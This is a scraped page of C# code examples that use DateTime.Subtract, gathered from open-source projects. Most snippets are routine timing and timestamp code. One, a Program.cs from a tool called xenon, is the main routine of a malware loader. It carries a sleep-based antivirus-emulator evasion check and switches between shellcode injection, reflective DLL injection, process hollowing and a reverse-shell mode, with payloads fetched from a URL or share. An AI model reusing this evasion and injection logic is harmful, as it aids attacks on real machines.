System.DateTime.Subtract(System.DateTime)

Here are the examples of the csharp api System.DateTime.Subtract(System.DateTime) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

1132 Examples 7

19 Source : FrontendUtils.cs
with MIT License
from 0x0ade

public static double ToUnixTime(this DateTime time)
            => time.Subtract(UnixTimeStart).TotalMilliseconds;

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static int Main(string[] args)
        {
            //xenon.exe -m <1,2,3> --<shellcode/dll> --location <http://1.1.1.1/name, C:\\A\\B\\name> --<enc> --key <preplacedword>
            //IEnumerable<string> arg = Arguments.SplitCommandLine(string.Join(" ", args));
            IEnumerable<string> arg = args;
            var arguments = new Arguments(arg);

            if (arguments.Exists("m"))
            {
                int m = int.Parse(arguments.Single("m"));
                if (m == 5)
                {
                    if (arguments.Exists("TempFile"))
                    {
                        string name = arguments.Single("TempFile");
                        powershell_clm(name);
                        Console.WriteLine("Powershell session exit!");
                        return 0;
                    }
                    else
                    {
                        help_xenon();
                        return -1;
                    }
                }
            }

            if ((arguments.Exists("m") && arguments.Exists("location") && (arguments.Exists("shellcode") || arguments.Exists("dll"))) == false || arguments.Count < 3)
            {
                help_xenon();
                return -1;
            }

            // Sleep AV detection

            DateTime t1 = DateTime.Now;
            Sleep(2000);
            if (DateTime.Now.Subtract(t1).TotalSeconds < 2)
            {
                Console.WriteLine("[!] AV Emulator detected! Behaving like a good boy :)");
                return 0;
            }

            //Options to transfer shellcode/DLL - Via SMB share and local disk (.dll for dll and .txt for shellcode)

            //1. Process injection via shellcode
            //2. Reflective Process injection via DLL (in memory)
            //3. Process Hollowing (shellcode)


            Console.WriteLine("[+] Parsing command line arguments");

            //Parsing Command line arguments
            int mode = int.Parse(arguments.Single("m"));
            string location = arguments.Single("location");
            int button = 0;

            if (arguments.Exists("shellcode"))
            {
                button = 1;
            }
            else
                button = 2;

            int decryption = 0;
            string preplaced = "";

            if (arguments.Exists("decrypt-xor"))
            {
                decryption = 1;
                preplaced = arguments.Single("preplaced");
                preplaced = CreateMD5(preplaced);
            }
            else if (arguments.Exists("decrypt-aes"))
            {
                decryption = 2;
                preplaced = arguments.Single("preplaced");
                preplaced = CreateMD5(preplaced);
            }

            if (arguments.Exists("bypreplaced"))
            {
                Flags.advanced_bypreplaced = 1;
            }

            // Dealing with command line arguments for main logic
            int response = 0;

            switch (mode)
            {
                case 1:
                    if (button == 1)
                        Console.WriteLine("Injecting into process via shellcode at " + location);
                    else
                        Console.WriteLine("Injecting into process via DLL at " + location);
                    response = process_injection(location, button, decryption, preplaced);

                    if (response == 0)
                        Console.WriteLine("[+] Process Injection done :)");
                    else
                        Console.WriteLine("[!] Error running the process injection module");
                    break;

                case 2:
                    Console.WriteLine("DLL Injection into process using DLL at " + location);
                    response = reflective_dll_injection(location);

                    if (response == 0)
                        Console.WriteLine("[+] DLL Injection done :)");
                    else
                        Console.WriteLine("[!] Error running the DLL injection module");
                    break;

                case 3:
                    Console.WriteLine("Using Process hollowing into process using DLL at " + location);
                    response = process_hollowing(location, decryption, preplaced);

                    if (response == 0)
                        Console.WriteLine("[+] Process hollowing done :)");
                    else
                        Console.WriteLine("[!] Error running the process hollowing module");
                    break;

                case 4:
                    Console.WriteLine("Getting a basic reverse shell for you using shellcode at " + location);
                    basic_rev(location, decryption, preplaced);
                    Console.WriteLine("Reverse Shell done :)");
                    break;

                case 6:
                    Console.WriteLine("DLL Hollowing in process! Using shellcode at " + location);
                    int res = dll_hollowing(location, decryption, preplaced);
                    if (res == 0)
                        Console.WriteLine("[+] DLL Hollowing done :)");
                    else
                        Console.WriteLine("[!] Error running the DLL hollowing module");
                    break;

                default:
                    Console.WriteLine("Mode not found");
                    break;
            }

            return 0;
        }

19 Source : RedisDate.cs
with MIT License
from 2881099

public static TimeSpan ToTimestamp(DateTime date)
        {
            return date.ToUniversalTime().Subtract(_epoch);
        }

19 Source : GlobalExtensions.cs
with Apache License 2.0
from 2881099

public static long GetTime(this DateTime time) {
		return (long)time.ToUniversalTime().Subtract(new DateTime(1970, 1, 1)).TotalSeconds;
	}

19 Source : GlobalExtensions.cs
with Apache License 2.0
from 2881099

public static long GetTimeMilliseconds(this DateTime time) {
		return (long)time.ToUniversalTime().Subtract(new DateTime(1970, 1, 1)).TotalMilliseconds;
	}

19 Source : RedisClientPool.cs
with MIT License
from 2881099

public static void PrevReheatConnectionPool(ObjectPool<RedisClient> pool, int minPoolSize)
        {
            if (minPoolSize <= 0) minPoolSize = Math.Min(5, pool.Policy.PoolSize);
            if (minPoolSize > pool.Policy.PoolSize) minPoolSize = pool.Policy.PoolSize;
            var initTestOk = true;
            var initStartTime = DateTime.Now;
            var initConns = new ConcurrentBag<Object<RedisClient>>();

            try
            {
                var conn = pool.Get();
                initConns.Add(conn);
                conn.Value.Ping();
            }
            catch (Exception ex)
            {
                initTestOk = false; //预热一次失败,后面将不进行
                pool.SetUnavailable(ex);
            }
            for (var a = 1; initTestOk && a < minPoolSize; a += 10)
            {
                if (initStartTime.Subtract(DateTime.Now).TotalSeconds > 3) break; //预热耗时超过3秒,退出
                var b = Math.Min(minPoolSize - a, 10); //每10个预热
                var initTasks = new Task[b];
                for (var c = 0; c < b; c++)
                {
                    initTasks[c] = TaskEx.Run(() =>
                    {
                        try
                        {
                            var conn = pool.Get();
                            initConns.Add(conn);
                        }
                        catch
                        {
                            initTestOk = false;  //有失败,下一组退出预热
                        }
                    });
                }
                Task.WaitAll(initTasks);
            }
            while (initConns.TryTake(out var conn)) pool.Return(conn);
        }

19 Source : ClientSideCaching.cs
with MIT License
from 2881099

static long GetTime() => (long)DateTime.Now.Subtract(_dt2020).TotalSeconds;

19 Source : IdleBus`1.ItemInfo.cs
with MIT License
from 2881099

internal TValue GetOrCreate()
            {
                if (isdisposed == true) return null;
                if (value == null)
                {
                    var iscreate = false;
                    var now = DateTime.Now;
                    try
                    {
                        lock (valueLock)
                        {
                            if (isdisposed == true) return null;
                            if (value == null)
                            {
                                value = create();
                                createTime = DateTime.Now;
                                Interlocked.Increment(ref ib._usageQuanreplacedy);
                                iscreate = true;
                            }
                            else
                            {
                                return value;
                            }
                        }
                        if (iscreate)
                        {
                            if (value != null)
                            {
                                if (firstValue == null) firstValue = value; //记录首次值
                                else if (firstValue == value) IsRegisterError = true; //第二次与首次相等,注册姿势错误
                            }
                            ib.OnNotice(new NoticeEventArgs(NoticeType.AutoCreate, key, null, $"{key} 实例+++创建成功,耗时 {DateTime.Now.Subtract(now).TotalMilliseconds}ms,{ib._usageQuanreplacedy}/{ib.Quanreplacedy}"));
                        }
                    }
                    catch (Exception ex)
                    {
                        ib.OnNotice(new NoticeEventArgs(NoticeType.AutoCreate, key, ex, $"{key} 实例+++创建失败:{ex.Message}"));
                        throw;
                    }
                }
                lastActiveTime = DateTime.Now;
                Interlocked.Increment(ref activeCounter);
                return value;
            }

19 Source : RedisClientPool.cs
with MIT License
from 2881099

public static void PrevReheatConnectionPool(ObjectPool<RedisClient> pool, int minPoolSize)
        {
            if (minPoolSize <= 0) minPoolSize = Math.Min(5, pool.Policy.PoolSize);
            if (minPoolSize > pool.Policy.PoolSize) minPoolSize = pool.Policy.PoolSize;
            var initTestOk = true;
            var initStartTime = DateTime.Now;
            var initConns = new ConcurrentBag<Object<RedisClient>>();

            try
            {
                var conn = pool.Get();
                initConns.Add(conn);
                pool.Policy.OnCheckAvailable(conn);
            }
            catch (Exception ex)
            {
                initTestOk = false; //预热一次失败,后面将不进行
                pool.SetUnavailable(ex);
            }
            for (var a = 1; initTestOk && a < minPoolSize; a += 10)
            {
                if (initStartTime.Subtract(DateTime.Now).TotalSeconds > 3) break; //预热耗时超过3秒,退出
                var b = Math.Min(minPoolSize - a, 10); //每10个预热
                var initTasks = new Task[b];
                for (var c = 0; c < b; c++)
                {
                    initTasks[c] = TaskEx.Run(() =>
                    {
                        try
                        {
                            var conn = pool.Get();
                            initConns.Add(conn);
                            pool.Policy.OnCheckAvailable(conn);
                        }
                        catch
                        {
                            initTestOk = false;  //有失败,下一组退出预热
                        }
                    });
                }
                Task.WaitAll(initTasks);
            }
            while (initConns.TryTake(out var conn)) pool.Return(conn);
        }

19 Source : IdleBus`1.cs
with MIT License
from 2881099

public TValue Get(TKey key)
        {
            if (isdisposed) throw new Exception($"{key} 实例获取失败,{nameof(IdleBus<TValue>)} 对象已释放");
            if (_dic.TryGetValue(key, out var item) == false)
            {
                var error = new Exception($"{key} 实例获取失败,因为没有注册");
                this.OnNotice(new NoticeEventArgs(NoticeType.Get, key, error, error.Message));
                throw error;
            }

            var now = DateTime.Now;
            var ret = item.GetOrCreate();
            if (item.IsRegisterError)
            {
                this.OnNotice(new NoticeEventArgs(NoticeType.Get, key, null, $"{key} 实例获取失败:检测到注册实例的参数 create 返回了相同的实例,应该每次返回新实例,正确:() => new Xxx(),错误:() => 变量"));
                throw new ArgumentException($"{key} 实例获取失败:检测到注册实例的参数 create 返回了相同的实例,应该每次返回新实例,正确:() => new Xxx(),错误:() => 变量");
            }
            var tsms = DateTime.Now.Subtract(now).TotalMilliseconds;
            this.OnNotice(new NoticeEventArgs(NoticeType.Get, key, null, $"{key} 实例获取成功 {item.activeCounter}次{(tsms > 5 ? $",耗时 {tsms}ms" : "")}"));
            //this.ThreadLiveWatch(item); //这种模式采用 Sorted 性能会比较慢
            this.ThreadScanWatch(item); //这种在后台扫描 _dic,定时要求可能没那么及时
            return ret;
        }

19 Source : IdleBus`1.ThreadScan.cs
with MIT License
from 2881099

void ThreadScanWatchHandler()
        {
            var couter = 0;
            while (isdisposed == false)
            {
                if (ThreadJoin(ScanOptions.Interval) == false) return;
                this.InternalRemoveDelayHandler();

                if (_usageQuanreplacedy == 0)
                {
                    couter = couter + (int)ScanOptions.Interval.TotalSeconds;
                    if (couter < ScanOptions.QuitWaitSeconds) continue;
                    break;
                }
                couter = 0;

                var keys = _dic.Keys.ToArray();
                long keysIndex = 0;
                foreach (var key in keys)
                {
                    if (isdisposed) return;
                    ++keysIndex;
                    if (ScanOptions.BatchQuanreplacedy > 0 && keysIndex % ScanOptions.BatchQuanreplacedy == 0)
                    {
                        if (ThreadJoin(ScanOptions.BatchQuanreplacedyWait) == false) return;
                    }

                    if (_dic.TryGetValue(key, out var item) == false) continue;
                    if (item.value == null) continue;
                    if (DateTime.Now.Subtract(item.lastActiveTime) <= item.idle) continue;
                    try
                    {
                        var now = DateTime.Now;
                        if (item.Release(() => DateTime.Now.Subtract(item.lastActiveTime) > item.idle && item.lastActiveTime >= item.createTime))
                            //防止并发有其他线程创建,最后活动时间 > 创建时间
                            this.OnNotice(new NoticeEventArgs(NoticeType.AutoRelease, item.key, null, $"{key} ---自动释放成功,耗时 {DateTime.Now.Subtract(now).TotalMilliseconds}ms,{_usageQuanreplacedy}/{Quanreplacedy}"));
                    }
                    catch (Exception ex)
                    {
                        this.OnNotice(new NoticeEventArgs(NoticeType.AutoRelease, item.key, ex, $"{key} ---自动释放执行出错:{ex.Message}"));
                    }
                }
            }
        }

19 Source : Lock.cs
with MIT License
from 2881099

public LockController Lock(string name, int timeoutSeconds, bool autoDelay = true)
        {
            name = $"RedisClientLock:{name}";
            var startTime = DateTime.Now;
            while (DateTime.Now.Subtract(startTime).TotalSeconds < timeoutSeconds)
            {
                var value = Guid.NewGuid().ToString();
                if (SetNx(name, value, timeoutSeconds) == true)
                {
                    double refreshSeconds = (double)timeoutSeconds / 2.0;
                    return new LockController(this, name, value, timeoutSeconds, refreshSeconds, autoDelay);
                }
                Thread.CurrentThread.Join(3);
            }
            return null;
        }

19 Source : Program.cs
with MIT License
from 2881099

static void Main(string[] args)
    {
        FreeSql.DynamicProxy.GetAvailableMeta(typeof(MyClreplaced)); //The first dynamic compilation was slow
        var dt = DateTime.Now;
        var pxy = new MyClreplaced { T2 = "123123" }.ToDynamicProxy();
        Console.WriteLine(pxy.Get("key"));
        Console.WriteLine(pxy.GetAsync().Result);
        pxy.Text = "testSetProp1";
        Console.WriteLine(pxy.Text);

        Console.WriteLine(DateTime.Now.Subtract(dt).TotalMilliseconds + " ms\r\n");

        dt = DateTime.Now;
        pxy = new MyClreplaced().ToDynamicProxy();
        Console.WriteLine(pxy.Get("key1"));
        Console.WriteLine(pxy.GetAsync().Result);
        pxy.Text = "testSetProp2";
        Console.WriteLine(pxy.Text);

        Console.WriteLine(DateTime.Now.Subtract(dt).TotalMilliseconds + " ms\r\n");

        var api = DynamicProxy.Resolve<IUserApi>();
        api.Add(new UserInfo { Id = "001", Remark = "add" });
        Console.WriteLine(JsonConvert.SerializeObject(api.Get<UserInfo>("001")));
    }

19 Source : Converter.cs
with MIT License
from 4egod

public static int ToUnixTimestamp(this DateTime dateTime)
        {
            return (int)(dateTime.Subtract(new DateTime(1970, 1, 1))).TotalSeconds;
        }

19 Source : Converter.cs
with MIT License
from 4egod

public static long ToTwitterTimestamp(this DateTime dateTime)
        {
            return (long)(dateTime.Subtract(new DateTime(1970, 1, 1))).TotalMilliseconds;
        }

19 Source : Yun.cs
with MIT License
from 6tail

private void computeStart()
        {
            JieQi prev = lunar.getPrevJie();
            JieQi next = lunar.getNextJie();
            Solar current = lunar.getSolar();
            Solar start = forward ? current : prev.getSolar();
            Solar end = forward ? next.getSolar() : current;
            int endTimeZhiIndex = (end.getHour() == 23) ? 11 : LunarUtil.getTimeZhiIndex(end.toYmdHms().Substring(11, 5));
            int startTimeZhiIndex = (start.getHour() == 23) ? 11 : LunarUtil.getTimeZhiIndex(start.toYmdHms().Substring(11, 5));
            // 时辰差
            int hourDiff = endTimeZhiIndex - startTimeZhiIndex;
            DateTime endCalendar = ExactDate.fromYmd(end.getYear(), end.getMonth(), end.getDay());
            DateTime startCalendar = ExactDate.fromYmd(start.getYear(), start.getMonth(), start.getDay());
            int dayDiff = endCalendar.Subtract(startCalendar).Days;
            if (hourDiff < 0)
            {
                hourDiff += 12;
                dayDiff--;
            }
            int monthDiff = hourDiff * 10 / 30;
            int month = dayDiff * 4 + monthDiff;
            int day = hourDiff * 10 - monthDiff * 30;
            int year = month / 12;
            month = month - year * 12;
            this.startYear = year;
            this.startMonth = month;
            this.startDay = day;
        }

19 Source : TaskManager.cs
with GNU General Public License v3.0
from a4004

public string DebugString(string message)
            {
                return $"[ {string.Format("{0:##0.00000}", DateTime.UtcNow.Subtract(StartTime).TotalSeconds)}]\t{message}";
            }

19 Source : TaskManager.cs
with GNU General Public License v3.0
from a4004

public void CloseTask()
            {
                Debug($"Finished ({Math.Round(DateTime.UtcNow.Subtract(StartTime).TotalSeconds)}s).");
                Program.Debug("taskmanager", $"{Task} finished in {Math.Round(DateTime.UtcNow.Subtract(StartTime).TotalSeconds)}s.", Event.Success);

                StartTime = default;
                Task = string.Empty;
            }

19 Source : Common.cs
with MIT License
from aabiryukov

public static long UnixTimeStampUtc()
		{
			var currentTime = DateTime.Now;
			var dt = currentTime.ToUniversalTime();
			var unixEpoch = new DateTime(1970, 1, 1);
			var unixTimeStamp = (Int32)(dt.Subtract(unixEpoch)).TotalSeconds;
			return unixTimeStamp;
		}

19 Source : Common.cs
with MIT License
from aabiryukov

public static double GetTimeStamp(DateTime dt)
		{
			var unixEpoch = new DateTime(1970, 1, 1);
			return dt.Subtract(unixEpoch).TotalSeconds;
		}

19 Source : SimulatedHandDataProvider.cs
with Apache License 2.0
from abist-co-ltd

private void SimulateHandInput(
            ref long lastHandTrackedTimestamp,
            SimulatedHandState state,
            bool isSimulating,
            bool isAlwaysVisible,
            MouseDelta mouseDelta,
            bool useMouseRotation)
        {
            bool enableTracking = isAlwaysVisible || isSimulating;
            if (!state.IsTracked && enableTracking)
            {
                ResetHand(state, isSimulating);
            }

            if (isSimulating)
            {
                state.SimulateInput(mouseDelta, useMouseRotation, profile.MouseRotationSensitivity, profile.MouseHandRotationSpeed, profile.HandJitterAmount);

                if (isAlwaysVisible)
                {
                    // Toggle gestures on/off
                    state.Gesture = ToggleGesture(state.Gesture);
                }
                else
                {
                    // Enable gesture while mouse button is pressed
                    state.Gesture = SelectGesture();
                }
            }

            // Update tracked state of a hand.
            // If hideTimeout value is null, hands will stay visible after tracking stops.
            // TODO: DateTime.UtcNow can be quite imprecise, better use Stopwatch.GetTimestamp
            // https://stackoverflow.com/questions/2143140/c-sharp-datetime-now-precision
            DateTime currentTime = DateTime.UtcNow;
            if (enableTracking)
            {
                state.IsTracked = true;
                lastHandTrackedTimestamp = currentTime.Ticks;
            }
            else
            {
                float timeSinceTracking = (float)currentTime.Subtract(new DateTime(lastHandTrackedTimestamp)).TotalSeconds;
                if (timeSinceTracking > profile.HandHideTimeout)
                {
                    state.IsTracked = false;
                }
            }
        }

19 Source : InputSimulationService.cs
with Apache License 2.0
from abist-co-ltd

public override void LateUpdate()
        {
            base.LateUpdate();

            var profile = InputSimulationProfile;

            // Apply hand data in LateUpdate to ensure external changes are applied.
            // HandDataLeft/Right can be modified after the services Update() call.
            if (HandSimulationMode == HandSimulationMode.Disabled)
            {
                RemoveAllHandDevices();
            }
            else
            {
                DateTime currentTime = DateTime.UtcNow;
                double msSinceLastHandUpdate = currentTime.Subtract(new DateTime(lastHandUpdateTimestamp)).TotalMilliseconds;
                // TODO implement custom hand device update frequency here, use 1000/fps instead of 0
                if (msSinceLastHandUpdate > 0)
                {
                    UpdateHandDevice(HandSimulationMode, Handedness.Left, HandDataLeft);
                    UpdateHandDevice(HandSimulationMode, Handedness.Right, HandDataRight);

                    // HandDataGaze is only enabled if the user is simulating via mouse and keyboard
                    if (UserInputEnabled && profile.IsHandsFreeInputEnabled)
                        UpdateHandDevice(HandSimulationMode.Gestures, Handedness.None, HandDataGaze);
                    lastHandUpdateTimestamp = currentTime.Ticks;
                }
            }
        }

19 Source : ScheduleService.aspx.cs
with MIT License
from Adoxio

private void BindTimeDropDowns()
		{
			for (var t = DateTime.MinValue; t < DateTime.MinValue.AddDays(1); t = t.AddMinutes(30))
			{
				StartTime.Items.Add(new Lisreplacedem(t.ToString("h:mm tt"), t.Subtract(DateTime.MinValue).TotalMinutes.ToString(CultureInfo.InvariantCulture)));
				EndTime.Items.Add(new Lisreplacedem(t.ToString("h:mm tt"), t.Subtract(DateTime.MinValue).TotalMinutes.ToString(CultureInfo.InvariantCulture)));
			}

			StartTime.Text = "540"; // 9 AM
			EndTime.Text = "1020"; // 5 PM
		}

19 Source : ConnectionPool.cs
with Mozilla Public License 2.0
from agebullhu

public RedisConnection2 GetConnection()
        {
            var conn = GetFreeConnection();
            if (conn == null)
            {
                var wait = new ManualResetEventSlim(false);
                lock (_lock_GetConnectionQueue)
                {
                    GetConnectionQueue.Enqueue(wait);
                }

                if (wait.Wait(TimeSpan.FromSeconds(10)))
                    return GetConnection();
                throw new Exception("CSRedis.ConnectionPool.GetConnection 连接池获取超时(10秒)");
            }

            if (conn.Client.IsConnected == false || DateTime.Now.Subtract(conn.LastActive).TotalSeconds > 60)
                try
                {
                    conn.Client.Ping();
                }
                catch
                {
                    var ips = Dns.GetHostAddresses(_ip);
                    if (ips.Length == 0) throw new Exception($"无法解析“{_ip}”");
                    try
                    {
                        conn.Client.Dispose();
                    }
                    catch
                    {
                    }

                    conn.Client = new RedisClient(new IPEndPoint(ips[0], _port));
                    conn.Client.Connected += Connected;
                }

            conn.ThreadId = Thread.CurrentThread.ManagedThreadId;
            conn.LastActive = DateTime.Now;
            Interlocked.Increment(ref conn.UseSum);
            return conn;
        }

19 Source : ConnectionPool.cs
with Mozilla Public License 2.0
from agebullhu

public async Task<RedisConnection2> GetConnectionAsync()
        {
            var conn = GetFreeConnection();
            if (conn == null)
            {
                var tcs = new TaskCompletionSource<RedisConnection2>();
                lock (_lock_GetConnectionQueue)
                {
                    GetConnectionAsyncQueue.Enqueue(tcs);
                }

                conn = await tcs.Task;
            }

            if (conn.Client.IsConnected == false || DateTime.Now.Subtract(conn.LastActive).TotalSeconds > 60)
                try
                {
                    await conn.Client.PingAsync();
                }
                catch
                {
                    var ips = Dns.GetHostAddresses(_ip);
                    if (ips.Length == 0) throw new Exception($"无法解析“{_ip}”");
                    try
                    {
                        conn.Client.Dispose();
                    }
                    catch
                    {
                    }

                    conn.Client = new RedisClient(new IPEndPoint(ips[0], _port));
                    conn.Client.Connected += Connected;
                }

            conn.ThreadId = Thread.CurrentThread.ManagedThreadId;
            conn.LastActive = DateTime.Now;
            Interlocked.Increment(ref conn.UseSum);
            return conn;
        }

19 Source : ConnectionPool.cs
with Mozilla Public License 2.0
from agebullhu

internal void RequirePing(Exception ex)
        {
            var lastActive = new DateTime(2000, 1, 1);
            foreach (var conn in AllConnections) conn.LastActive = lastActive;
            var now = DateTime.Now;
            if (now.Subtract(requirePingPrevTime).TotalSeconds > 5)
            {
                requirePingPrevTime = now;
                var fcolor = Console.ForegroundColor;
                Console.WriteLine("");
                Console.ForegroundColor = ConsoleColor.DarkYellow;
                Console.WriteLine($"csreids 错误【{ClusterKey}】:{ex.Message}");
                Console.ForegroundColor = ConsoleColor.DarkGreen;
                Console.WriteLine("redis-server 断开重启后,因连接池内所有连接状态无法更新,导致每个连接在重启后的第一次操作仍会失败。");
                Console.WriteLine("csredis 内部统一处理错误,一量发现错误,连接池内所有连接下次操作将触发 Ping() 条件,解决上述问题。");
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("缺陷:如果错误为非 socket 错误,将导致性能下降。根据异常信息优化程序使用方法,可以解决这个缺陷。");
                Console.ForegroundColor = fcolor;
                Console.WriteLine("");
            }
        }

19 Source : Information.cs
with GNU General Public License v3.0
from AHosseinRnj

private void Information_Load(object sender, EventArgs e)
        {
            TimeSpan subResult = endSub.Subtract(DateTime.Today);
            if (subResult.Days < 0)
                SubLblDyn.Text = "None";
            else
                SubLblDyn.Text = $"{subResult.TotalDays} Days Left";
        }

19 Source : GenericPolicy.cs
with GNU General Public License v3.0
from aiportal

bool SnapshotOnKeyboardEvent(RawEventType evt, Keys key)
		{
			bool snap = false;
			if (evt == RawEventType.KeyUp)
			{
				if (key == Keys.Enter || key == Keys.Delete)
				{
					if (DateTime.Now.Subtract(_lastKeyTime).Milliseconds > 1000)
					{
						snap = true;
					}
					else
					{
						if (!_isLastEventFromKeyboard || key != _lastKeyValue)
						{
							snap = true;
						}
					}
				}
				else // General Key
				{
					if (DateTime.Now.Subtract(_prevGeneralKeyTime).TotalMilliseconds > 1000)
					{
						snap = true;
						_prevGeneralKeyTime = DateTime.Now;
					}
				}
				_isLastEventFromKeyboard = true;
				_lastKeyTime = DateTime.Now;
				_lastKeyValue = key;
			}
			TraceLogger.Instance.WriteLineVerbos("SnapshotOnKeyboardEvent: " + snap.ToString());
			return snap;
		}

19 Source : InputTextPolicy.cs
with GNU General Public License v3.0
from aiportal

public bool SnapshotOnKeyboardEvent(KeyboardEventType evt, Keys key)
		{
			bool snap = false;
			if (evt == KeyboardEventType.KeyDown)
			{
				if (key == Keys.Enter || key == Keys.Delete)
				{
					if (DateTime.Now.Subtract(_lastKeyTime).Milliseconds > 1000)
					{
						snap = true;
					}
					else
					{
						if (!_isLastEventFromKeyboard || key != _lastKeyValue)
						{
							snap = true;
						}
					}
				}
				else // General Key
				{
					if (!_isLastEventFromKeyboard && DateTime.Now.Subtract(_prevGeneralKeyTime).TotalMilliseconds > 1000)
					{
						snap = true;
						_prevGeneralKeyTime = DateTime.Now;
					}
					if (DateTime.Now.Subtract(_prevGeneralKeyTime).TotalMilliseconds > 10 * 1000)
					{
						snap = true;
						_prevGeneralKeyTime = DateTime.Now;
					}
				}
				_isLastEventFromKeyboard = true;
				_lastKeyTime = DateTime.Now;
				_lastKeyValue = key;
			}
			TraceLogger.Instance.WriteLineInfo("SnapshotOnKeyboardEvent: " + snap.ToString());
			return snap;
		}

19 Source : GenericPolicy.cs
with GNU General Public License v3.0
from aiportal

bool SnapshotOnMouseEvent(RawEventType evt, int x, int y)
		{
			bool snap = false;
			if ((evt == RawEventType.LeftButtonDown) || (evt == RawEventType.RightButtonDown))
			{
				MouseState mouse = CaptureMouseState(evt);
				if (mouse.ClickOption != _lastMouseState.ClickOption)
				{
					snap = true;
				}
				else
				{
					if (evt == RawEventType.LeftButtonDown)
					{
						if (DateTime.Now.Subtract(_prevLButtonDownTime).TotalMilliseconds < 1000)
						{
							if ((Math.Abs(mouse.X - _lastMouseState.X) < 15) && (Math.Abs(mouse.Y - _lastMouseState.Y) < 10))
							{
								snap = true;
							}
						}
						_prevLButtonDownTime = DateTime.Now;
					}
					if ((Math.Abs((int)(mouse.X - _lastMouseState.X)) > 5) || (Math.Abs((int)(mouse.Y - _lastMouseState.Y)) > 5))
					{
						snap = true;
					}
				}
				_isLastEventFromKeyboard = false;
				_lastMouseTime = DateTime.Now;
			}
			TraceLogger.Instance.WriteLineVerbos("SnapshotOnMouseEvent: " + snap.ToString());
			return snap;
		}

19 Source : InputTextPolicy.cs
with GNU General Public License v3.0
from aiportal

public bool SnapshotOnMouseEvent(MouseEventType evt, int x, int y)
		{
			bool snap = false;
			if ((evt == MouseEventType.LeftButtonDown) || (evt == MouseEventType.RightButtonDown))
			{
				MouseState mouse = SnapshotEngine.CaptureMouseState(evt);
				if (mouse.ClickOption != _lastMouseState.ClickOption)
				{
					snap = true;
				}
				else
				{
					if (evt == MouseEventType.LeftButtonDown)
					{
						if (DateTime.Now.Subtract(_prevLButtonDownTime).TotalMilliseconds < 1000)
						{
							if ((Math.Abs(mouse.X - _lastMouseState.X) < 15) && (Math.Abs(mouse.Y - _lastMouseState.Y) < 10))
							{
								snap = true;
							}
						}
						_prevLButtonDownTime = DateTime.Now;
					}
					if ((Math.Abs((int)(mouse.X - _lastMouseState.X)) > 5) || (Math.Abs((int)(mouse.Y - _lastMouseState.Y)) > 5))
					{
						snap = true;
					}
				}
				_isLastEventFromKeyboard = false;
				_lastMouseTime = DateTime.Now;
			}
			TraceLogger.Instance.WriteLineInfo("SnapshotOnMouseEvent: " + snap.ToString());
			return snap;
		}

19 Source : SerialNumber.cs
with GNU General Public License v3.0
from aiportal

public static SerialNumber DeSerialize(string str)
		{
			SerialNumber sn = null;
			if (!string.IsNullOrEmpty(str))
			{
				string[] ss = RSA.Decrypt(str, "Monkey").Split(',');
				if (ss.Length > 3)
				{
					var stm = DateTime.FromBinary(Convert.ToInt64(ss[1], 16));
					sn = new SerialNumber()
					{
						License = (LicenseType)Convert.ToInt32(ss[0]),
						CreateTime = stm,
						ExpireTime = stm.AddDays(Convert.ToInt32(ss[2])),
						MachineId = ss[3]
					};
					var span = sn.ExpireTime.Subtract(sn.CreateTime);
					sn.CreateTime = Global.Config.InstallTime;
					sn.ExpireTime = Global.Config.InstallTime.Add(span);
				}
			}
			return sn;
		}

19 Source : SerialNumber.cs
with GNU General Public License v3.0
from aiportal

public static SerialNumber DeSerialize(string str, DateTime installTime)
		{
			SerialNumber sn = null;
			if (!string.IsNullOrEmpty(str))
			{
				string[] ss = RSA.Decrypt(str, "Monkey").Split(',');
				if (ss.Length > 3)
				{
					var stm = DateTime.FromBinary(Convert.ToInt64(ss[1], 16));
					sn = new SerialNumber()
					{
						License = (LicenseType)Convert.ToInt32(ss[0]),
						CreateTime = stm,
						ExpireTime = stm.AddDays(Convert.ToInt32(ss[2])),
						MachineId = ss[3]
					};
					var span = sn.ExpireTime.Subtract(sn.CreateTime);
					sn.CreateTime = installTime;
					sn.ExpireTime = installTime.Add(span);
				}
			}
			return sn;
		}

19 Source : SerialNumber.cs
with GNU General Public License v3.0
from aiportal

public static SerialNumber DeSerialize(string licContent, string keyName, DateTime installTime)
		{
			SerialNumber sn = null;
			if (!string.IsNullOrEmpty(licContent))
			{
				string[] ss = RSA.Decrypt(licContent, keyName).Split(',');
				if (ss.Length > 4)
				{
					var stm = DateTime.FromBinary(Convert.ToInt64(ss[1], 16));
					sn = new SerialNumber()
					{
						LicenseType = (LicenseType)Convert.ToInt32(ss[0]),
						CreateTime = stm,
						ExpireTime = stm.AddDays(Convert.ToInt32(ss[2])),
						MachineId = ss[3],
						MaxActivity = Convert.ToInt32(ss[4])
					};
					var span = sn.ExpireTime.Subtract(sn.CreateTime);
					sn.CreateTime = installTime;
					sn.ExpireTime = installTime.Add(span);
				}
			}
			return sn;
		}

19 Source : UnixTimestampUtils.cs
with MIT License
from alen-smajic

public static double To(DateTime date)
		{
			return date.Subtract(new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds;
		}

19 Source : GoogleJsonWebToken.cs
with MIT License
from alessandroTironi

private static int[] GetExpiryAndIssueDate()
	{
		var utc0 = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
		var issueTime = DateTime.UtcNow;

		var iat = (int)issueTime.Subtract(utc0).TotalSeconds;
		var exp = (int)issueTime.AddMinutes(55).Subtract(utc0).TotalSeconds;

		return new[] { iat, exp };
	}

19 Source : GetTransactionsInput.cs
with MIT License
from alesimoes

private void Validate()
        {
            if (this.WalletId < 1)
            {
                throw new ApplicationFieldValidationException($"Wallet identifier is invalid.");
            }
            if (this.EndDate < StartDate)
            {
                throw new ApplicationFieldValidationException($"Invalid date range");
            }
            if (this.EndDate.Subtract(StartDate).TotalDays > 90)
            {
                throw new ApplicationFieldValidationException($"Period cannot be greather than 90 days");
            }
        }

19 Source : SuperIndexer.cs
with GNU General Public License v3.0
from alexdillon

public void EndTransaction()
        {
            Task.Run(async () =>
            {
                Debug.WriteLine("Ending Super Indexer Transaction...");

                var result = this.WaitingOnGroupAndChatListings.WaitOne(TimeSpan.FromSeconds(10));

                if (!result)
                {
                    Debug.WriteLine("No group list available, loading new...");

                    var client = this.GroupsAndChats.FirstOrDefault()?.Client;
                    if (client == null)
                    {
                        return;
                    }

                    await client.GetGroupsAsync();
                    await client.GetChatsAsync();
